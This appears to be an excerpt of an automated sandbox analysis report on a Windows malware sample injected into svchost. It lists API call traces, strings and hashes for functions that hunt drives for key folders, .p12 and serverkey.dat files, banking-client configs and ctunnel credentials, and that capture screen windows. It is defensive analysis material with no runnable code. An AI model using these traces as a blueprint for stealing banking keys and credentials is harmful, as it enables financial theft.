                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Error$File$DirectoryDriveFindLastModePathmemset$AdminAttributesBackslashCreateCurrentFirstFolderLogicalMakeNextStringsSystemTypeUser
                                                                                                                                                                                                            • String ID: *.00*$.txt$.zip$82C3184B$asus$found.$keys$path
                                                                                                                                                                                                            • API String ID: 3801700313-3967964990
                                                                                                                                                                                                            • Opcode ID: 2ccc76992e657d32ddd7d02eb9622968297ea05fd662e1f6c6d1d3d8a7a41782
                                                                                                                                                                                                            • Instruction ID: eb0aa9984d832d5777501823ad65b4b7dba08da0154381e56215e5f837fe31a9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 2ccc76992e657d32ddd7d02eb9622968297ea05fd662e1f6c6d1d3d8a7a41782
                                                                                                                                                                                                            • Instruction Fuzzy Hash: FFC1F4315087818FC716DF3894687ABBBE5AFC9348F188A5DE9C9C7250EB31DA09C791
                                                                                                                                                                                                            Function 02C8D0C0 Relevance: 56.3, APIs: 24, Strings: 8, Instructions: 345fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8D0E7
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C8D109
                                                                                                                                                                                                            • GetLogicalDriveStringsA.KERNEL32(00000104,?), ref: 02C8D128
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(00000001), ref: 02C8D141
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(?), ref: 02C8D195
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C8D1A4
                                                                                                                                                                                                            • FindFirstFileA.KERNEL32(?,?), ref: 02C8D1F1
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C8D20A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,found.), ref: 02C8D221
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,asus), ref: 02C8D238
                                                                                                                                                                                                            • FindNextFileA.KERNEL32(00000000,?), ref: 02C8D24F
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C318F9), ref: 02C8D284
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8D2BE
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8D2C8
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8D2D0
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8D2DF
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8D2E6
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(?), ref: 02C8D4F2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Error$File$DirectoryDriveFindLastModePathmemset$AdminAttributesBackslashCreateCurrentFirstFolderLogicalMakeNextStringsSystemTypeUser
                                                                                                                                                                                                            • String ID: *.00*$.txt$.zip$82C318F9$asus$found.$keys$path
                                                                                                                                                                                                            • API String ID: 3801700313-3805874492
                                                                                                                                                                                                            • Opcode ID: 425eb8cc08128ed1b95f4e296e8d3dab3b1afadf694fd2b6d9cf7f05b51b0efc
                                                                                                                                                                                                            • Instruction ID: aa9f37e62b3eb9a5c461c1e9d8a0575e99d5f0c0cb5e9c87025faf26779bf6c5
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 425eb8cc08128ed1b95f4e296e8d3dab3b1afadf694fd2b6d9cf7f05b51b0efc
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 4AC1D8715087818FC716DF349858BABBBE5AFC5349F148A5DE8CAD7280EB30D609C792
                                                                                                                                                                                                            Function 02C8BBE9 Relevance: 49.3, APIs: 20, Strings: 8, Instructions: 294fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(?), ref: 02C8BBF5
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C8BC04
                                                                                                                                                                                                            • FindFirstFileA.KERNEL32(?,?), ref: 02C8BC51
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C8BC6A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,found.), ref: 02C8BC81
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,asus), ref: 02C8BC98
                                                                                                                                                                                                            • FindNextFileA.KERNEL32(00000000,?), ref: 02C8BCAF
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8BCE4
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8BD1E
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8BD28
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8BD30
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8BD3F
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8BD46
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(?), ref: 02C8BF52
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorFile$DirectoryFindLastPath$AdminAttributesBackslashCreateCurrentDriveFirstFolderMakeModeNextSystemTypeUser
                                                                                                                                                                                                            • String ID: *.00*$.txt$.zip$82C3184B$asus$found.$keys$path
                                                                                                                                                                                                            • API String ID: 3516781098-3967964990
                                                                                                                                                                                                            • Opcode ID: 1f52f668baf0c2e699368ab5db4ddecb56b2d5b78d591a07ef66356118f56ea5
                                                                                                                                                                                                            • Instruction ID: 663f24dd68829ed58e38b891f7cb07a8d44e847048a019257ef6a73785fdd551
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 1f52f668baf0c2e699368ab5db4ddecb56b2d5b78d591a07ef66356118f56ea5
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D0A1E4315087868FC716DB3494687ABBBE5EFC934DF188A59E8C9C7210EB31DA09C791
                                                                                                                                                                                                            Function 02C8D189 Relevance: 49.3, APIs: 20, Strings: 8, Instructions: 294fileCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetDriveTypeA.KERNEL32(?), ref: 02C8D195
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C8D1A4
                                                                                                                                                                                                            • FindFirstFileA.KERNEL32(?,?), ref: 02C8D1F1
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C8D20A
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,found.), ref: 02C8D221
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(?,asus), ref: 02C8D238
                                                                                                                                                                                                            • FindNextFileA.KERNEL32(00000000,?), ref: 02C8D24F
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C318F9), ref: 02C8D284
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8D2BE
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8D2C8
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8D2D0
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8D2DF
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8D2E6
                                                                                                                                                                                                            • SetErrorMode.KERNEL32(?), ref: 02C8D4F2
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ErrorFile$DirectoryFindLastPath$AdminAttributesBackslashCreateCurrentDriveFirstFolderMakeModeNextSystemTypeUser
                                                                                                                                                                                                            • String ID: *.00*$.txt$.zip$82C318F9$asus$found.$keys$path
                                                                                                                                                                                                            • API String ID: 3516781098-3805874492
                                                                                                                                                                                                            • Opcode ID: 7e1c5c9da2f9c3035f93d04b31bb37274a3f15e89969deb067b6893d67ad4339
                                                                                                                                                                                                            • Instruction ID: ab943dccc9a927d00b5d65f13d034dea180e4f10a05dfd6fd7655d91402de88a
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 7e1c5c9da2f9c3035f93d04b31bb37274a3f15e89969deb067b6893d67ad4339
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 30A1F8315087858FC716DB349468BABBBE5AFC5349F18CA58E8CAC7240EB31D509C791
                                                                                                                                                                                                            Function 02C71180 Relevance: 44.0, APIs: 21, Strings: 4, Instructions: 203memorythreadCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7119E
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,7622F570), ref: 02C711BD
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,java), ref: 02C711D5
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,.exe), ref: 02C711EB
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,.p12,00000000), ref: 02C7120F
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02C71231
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02C7124E
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C71255
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C71265
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02C71281
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C89ED0,00000000,00000000,00000000), ref: 02C71295
                                                                                                                                                                                                            • StrStrIW.SHLWAPI(?,serverkey.dat,00000000), ref: 02C712B4
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02C712E5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,?), ref: 02C71302
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C71309
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C71319
                                                                                                                                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 02C71335
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8D540,00000000,00000000,00000000), ref: 02C71349
                                                                                                                                                                                                            • CreateThread.KERNEL32(00000000,00000000,02C8EB60,00000000,00000000,00000000), ref: 02C71386
                                                                                                                                                                                                              • Part of subcall function 02C89E20: PathAddBackslashA.SHLWAPI(82c3181f), ref: 02C89E47
                                                                                                                                                                                                              • Part of subcall function 02C89E20: PathFileExistsA.SHLWAPI(?), ref: 02C89EB0
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C7139E
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C713AF
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: ByteCharHeapMultiWide$CreateThreadmemset$AllocFileHandlePathProcess$BackslashCloseExistsInformationModuleName
                                                                                                                                                                                                            • String ID: .exe$.p12$java$serverkey.dat
                                                                                                                                                                                                            • API String ID: 183229269-3502489836
                                                                                                                                                                                                            • Opcode ID: f680c842c16c72ab64df9a65bb09bd1b379547037e350193ea1be9a47f736af0
                                                                                                                                                                                                            • Instruction ID: 11bba8a6c2a8effb5c3e6ee5715992e5dc9e33b41e28deec2c99e8fae3ac34ab
                                                                                                                                                                                                            • Opcode Fuzzy Hash: f680c842c16c72ab64df9a65bb09bd1b379547037e350193ea1be9a47f736af0
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9151E671E8522576EB319A618C49FEB7E6CDF81B55F184354BD0DAA1C0EBB0DA00CAF4
                                                                                                                                                                                                            Function 02C8B810 Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 248COMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                              • Part of subcall function 02C93170: memset.MSVCRT ref: 02C93194
                                                                                                                                                                                                              • Part of subcall function 02C93170: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 02C9319F
                                                                                                                                                                                                            • OpenProcess.KERNEL32(001FFFFF,00000000,00000000,ctunnel.exe,?,75AF7390,?), ref: 02C8B83C
                                                                                                                                                                                                            • GetModuleFileNameExA.PSAPI(00000000,00000000,?,00000104), ref: 02C8B85B
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C8B86D
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C8B87E
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B), ref: 02C8B8A7
                                                                                                                                                                                                            • CreateDirectoryA.KERNEL32(?,00000000), ref: 02C8B8E1
                                                                                                                                                                                                            • GetLastError.KERNEL32 ref: 02C8B8EB
                                                                                                                                                                                                            • IsUserAnAdmin.SHELL32 ref: 02C8B8F3
                                                                                                                                                                                                            • PathMakeSystemFolderA.SHLWAPI(?), ref: 02C8B904
                                                                                                                                                                                                            • SetLastError.KERNEL32(00000000), ref: 02C8B90B
                                                                                                                                                                                                            • GetFileAttributesA.KERNEL32(?), ref: 02C8B941
                                                                                                                                                                                                            • SetCurrentDirectoryA.KERNEL32(?), ref: 02C8B980
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B,?,?), ref: 02C8B9C7
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(82C3184B,ctunnel.exe,?,75AF7390,?), ref: 02C8BAA7
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(?), ref: 02C8BB09
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$BackslashFile$CreateDirectoryErrorHandleLast$AdminAttributesCloseCurrentExistsFolderInformationMakeModuleNameOpenProcessSnapshotSystemToolhelp32Usermemset
                                                                                                                                                                                                            • String ID: 82C3184B$\$ctunnel.exe$ctunnel.zip$pass.log$path_ctunnel.txt
                                                                                                                                                                                                            • API String ID: 3886636124-1512899095
                                                                                                                                                                                                            • Opcode ID: 367deeb493a039c938df00037e45f8181f248d5d1c5ccded8f08640811a96183
                                                                                                                                                                                                            • Instruction ID: 9745a22860d5e6ba97636dfaab07f19f23a1992d8541023edbfad4e199ed9e66
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 367deeb493a039c938df00037e45f8181f248d5d1c5ccded8f08640811a96183
                                                                                                                                                                                                            • Instruction Fuzzy Hash: BB9139309446598FDB16DB24A858BE6BBF8EF86308F14C7D4E889D7241DB30DE49CB90
                                                                                                                                                                                                            Function 02C90BE0 Relevance: 36.9, APIs: 14, Strings: 7, Instructions: 165stringsynchronizationsleepCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 02C90C10
                                                                                                                                                                                                            • PathFindFileNameA.SHLWAPI(?), ref: 02C90C1D
                                                                                                                                                                                                            • PathFileExistsA.SHLWAPI(ISClient.cfg), ref: 02C90C32
                                                                                                                                                                                                              • Part of subcall function 02C76570: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C76596
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765B7
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000008,?,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765DD
                                                                                                                                                                                                              • Part of subcall function 02C76570: RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,02C86BCC,?,00000000), ref: 02C765E4
                                                                                                                                                                                                              • Part of subcall function 02C76570: memset.MSVCRT ref: 02C765F4
                                                                                                                                                                                                              • Part of subcall function 02C76570: ReadFile.KERNEL32(00000000,00000000,?,00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76616
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76622
                                                                                                                                                                                                              • Part of subcall function 02C76570: HeapValidate.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76629
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,02C86BCC,?), ref: 02C76636
                                                                                                                                                                                                              • Part of subcall function 02C76570: HeapFree.KERNEL32(00000000,?,?,?,?,?,02C86BCC,?), ref: 02C7663D
                                                                                                                                                                                                              • Part of subcall function 02C76570: GetHandleInformation.KERNEL32(00000000,00000000), ref: 02C7665D
                                                                                                                                                                                                              • Part of subcall function 02C76570: CloseHandle.KERNEL32(00000000), ref: 02C7666E
                                                                                                                                                                                                              • Part of subcall function 02C76570: IsBadWritePtr.KERNEL32(?,00000004), ref: 02C7667E
                                                                                                                                                                                                            • StrStrIA.SHLWAPI(00000000,GKUZ=,?,00000000,00000001), ref: 02C90C7D
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C90C9D
                                                                                                                                                                                                            • strstr.MSVCRT ref: 02C90CAF
                                                                                                                                                                                                            • CreateMutexA.KERNEL32(00000000,00000000,Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}), ref: 02C90CDE
                                                                                                                                                                                                            • Sleep.KERNEL32(000003E8), ref: 02C90CEF
                                                                                                                                                                                                            • ReleaseMutex.KERNEL32(00000000), ref: 02C90CF6
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,?), ref: 02C90D08
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C90D19
                                                                                                                                                                                                            • GetPrivateProfileStringA.KERNEL32(General,DefaultPrivateDir,00000000,?,00000104,?), ref: 02C90D67
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 02C90D7E
                                                                                                                                                                                                            • CharUpperA.USER32(?), ref: 02C90D87
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: FileHeap$Handle$Process$CharCloseCreateInformationMutexNamePathUpperstrstr$AllocateExistsFindFreeModulePrivateProfileReadReleaseSizeSleepStringValidateWritememset
                                                                                                                                                                                                            • String ID: DefaultPrivateDir$GKUZ=$General$ISClient.cfg$Local\{EAF777BF-8989-4fe1-9A0D-95CD777C0214}$P0#v$interpro.ini
                                                                                                                                                                                                            • API String ID: 1392943061-2569638643
                                                                                                                                                                                                            • Opcode ID: 9fd8be4243b616d36701170732b719105e80b8738c4a2baab95a9a0f829c0218
                                                                                                                                                                                                            • Instruction ID: 36bb3138c4b6ac632d28e0c971c62c05d9625a71fc495c53c9344cf45005f770
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 9fd8be4243b616d36701170732b719105e80b8738c4a2baab95a9a0f829c0218
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 3F515C72D443955BEB228F28CC88BAA7BADEF84704F144698E58593241DB71F648CF51
                                                                                                                                                                                                            Function 02C7C069 Relevance: 35.2, APIs: 18, Strings: 2, Instructions: 171windowCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • IsWindow.USER32(00000000), ref: 02C7C078
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7C0BB
                                                                                                                                                                                                            • GetWindowRect.USER32(00000000,00000000), ref: 02C7C0CB
                                                                                                                                                                                                            • GetWindowLongA.USER32(00000000,000000F0), ref: 02C7C0E5
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(00000000,000000FA,?,?,?,762330D0), ref: 02C7C100
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(00000000,000000FB,0000003C,?,?,762330D0), ref: 02C7C12D
                                                                                                                                                                                                            • GetWindow.USER32(00000000,00000005), ref: 02C7C165
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02C7C168
                                                                                                                                                                                                            • IsIconic.USER32(00000000), ref: 02C7C087
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: IsWindow.USER32(00000000), ref: 02C7B9ED
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: IsWindowVisible.USER32(00000000), ref: 02C7B9FC
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: GetWindowRect.USER32(00000000,?), ref: 02C7BA39
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: GetClassLongA.USER32(00000000,000000E6), ref: 02C7BA42
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: PrintWindow.USER32(00000000,?,00000000,?,762330D0,?,?,?,02C7843E), ref: 02C7BA55
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: RedrawWindow.USER32(00000000,00000000,00000000,00000485,00000000,?,?,762330D0,?,?,?,02C7843E), ref: 02C7BA7B
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: CreateRectRgn.GDI32(?,?,02C7843E,?), ref: 02C7BA91
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: GetWindowRgn.USER32(00000000,00000000), ref: 02C7BA9B
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: OffsetRgn.GDI32(00000000,?,?), ref: 02C7BAB5
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: SelectClipRgn.GDI32(?,00000000), ref: 02C7BAC0
                                                                                                                                                                                                              • Part of subcall function 02C7B9D0: BitBlt.GDI32(?,?,?,02C7843E,?,?,00000000,00000000,00CC0020), ref: 02C7BAE9
                                                                                                                                                                                                            • IsWindow.USER32(?), ref: 02C7C18E
                                                                                                                                                                                                            • IsIconic.USER32(?), ref: 02C7C19D
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C7C1CE
                                                                                                                                                                                                            • GetWindowRect.USER32(?,00000000), ref: 02C7C1DB
                                                                                                                                                                                                            • GetWindowLongA.USER32(?,000000F0), ref: 02C7C1F2
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(?,000000FA,0000003C,?,?,762330D0), ref: 02C7C21D
                                                                                                                                                                                                            • GetScrollBarInfo.USER32(?,000000FB,0000003C,?,?,762330D0), ref: 02C7C255
                                                                                                                                                                                                            • GetWindow.USER32(?,00000005), ref: 02C7C292
                                                                                                                                                                                                            • GetWindow.USER32(00000000), ref: 02C7C295
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Window$InfoRectScroll$Long$Iconicmemset$ClassClipCreateOffsetPrintRedrawSelectVisible
                                                                                                                                                                                                            • String ID: <$<
                                                                                                                                                                                                            • API String ID: 3463799249-213342407
                                                                                                                                                                                                            • Opcode ID: 177739d8dc674bb14e83d376c842133f055ce4819bffd8eeb7c026f821d27920
                                                                                                                                                                                                            • Instruction ID: b1d32d639a922d41fb39542d9b211e93deef972600654bc564f20758c79fc4a9
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 177739d8dc674bb14e83d376c842133f055ce4819bffd8eeb7c026f821d27920
                                                                                                                                                                                                            • Instruction Fuzzy Hash: F7613871D042299FDF15CFA8DC84BDEBBB9BF48714F14429AE419A7280DB706A41CF91
                                                                                                                                                                                                            Function 02C81B80 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 169memoryCOMMON
                                                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C81BB2
                                                                                                                                                                                                              • Part of subcall function 02C81AC0: GetAncestor.USER32(00000000,00000002,?,00000000), ref: 02C81ACE
                                                                                                                                                                                                              • Part of subcall function 02C81AC0: GetWindowTextA.USER32(00000000,?,00000104), ref: 02C81AE9
                                                                                                                                                                                                              • Part of subcall function 02C81AC0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81B47
                                                                                                                                                                                                              • Part of subcall function 02C81AC0: HeapValidate.KERNEL32(00000000), ref: 02C81B4A
                                                                                                                                                                                                              • Part of subcall function 02C81AC0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C81B57
                                                                                                                                                                                                              • Part of subcall function 02C81AC0: HeapFree.KERNEL32(00000000), ref: 02C81B5A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000014,?,?,?,00000000), ref: 02C81C15
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 02C81C1C
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C81C2F
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00000000), ref: 02C81C3F
